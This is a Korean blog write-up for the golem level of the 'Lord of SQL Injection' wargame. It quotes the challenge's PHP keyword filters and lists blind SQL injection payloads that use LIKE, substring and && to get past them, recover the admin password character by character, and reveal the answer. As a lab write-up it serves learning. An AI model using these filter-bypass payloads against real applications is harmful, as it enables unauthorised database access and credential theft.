klaus

[Lord of SQL Injection] golem 11번 본문

모의해킹/Wargame

[Lord of SQL Injection] golem 11번

klus! 2022. 12. 9. 08:26

0. golem

클래시로얄!

오픈 때부터 지금까지 하고 있는....

1. 전체코드

2. 주요 코드 분석

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 

$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");

preg_match를 사용하여 특수문자와 논리 연산자를 필터링합니다.

id의 경우 guest로 고정되어 있고, admin계정으로 로그인/패스워드를 입력합니다.

마지막 중요 코드를 보면 solve조건이 패스워드를 GET방식으로 정확하게 입력하여야 문제를 풀 수 있습니다.

즉, Blind SQLi를 통해 해결해야 하는 문제입니다.

 

 3. SOLVE

preg_match 필터링되는 문자열 및 논리 연산자를 확인해봅시다.

추가된 부분은 =와 substr 추가적으로 필터링됩니다. 

 

우회하기 위해 

LIKE(parameter) : 등호(=)의 대체로 사용하였습니다.

substr를 필터링해주는데.. 필자는 substring 사용

AND는 && (URL Encoding: %26%26), OR는 ||를 사용하였습니다.

 

 기본 틀은 pw=0' OR(||) 사용하여 Guest를 닫아주고 id like 'admin' and(%26%26) like '으로

?pw=0' || id like 'admin' %26%26 (SQLi) like '

 

step 1 패스워드 길이 체크

?pw=0' || id like 'admin' %26%26 length(pw) like '8을 입력하였을 때 참 pw길이가 8글자로 참 값이 나옵니다.

step 2 패스워드 찾기

?pw=0' || id like 'admin' %26%26 substring(pw,1,1) like '7

?pw=0' || id like 'admin' %26%26 substring(pw,2,1) like '7

?pw=0' || id like 'admin' %26%26 substring(pw,3,1) like 'd

?pw=0' || id like 'admin' %26%26 substring(pw,4,1) like '6

?pw=0' || id like 'admin' %26%26 substring(pw,5,1) like '2

?pw=0' || id like 'admin' %26%26 substring(pw,6,1) like '9

?pw=0' || id like 'admin' %26%26 substring(pw,7,1) like '0

?pw=0' || id like 'admin' %26%26 substring(pw,8,1) like 'b

 

무식하게 확인해보았습니다.

pw=77d6290b

 

 

 

 

 

Comments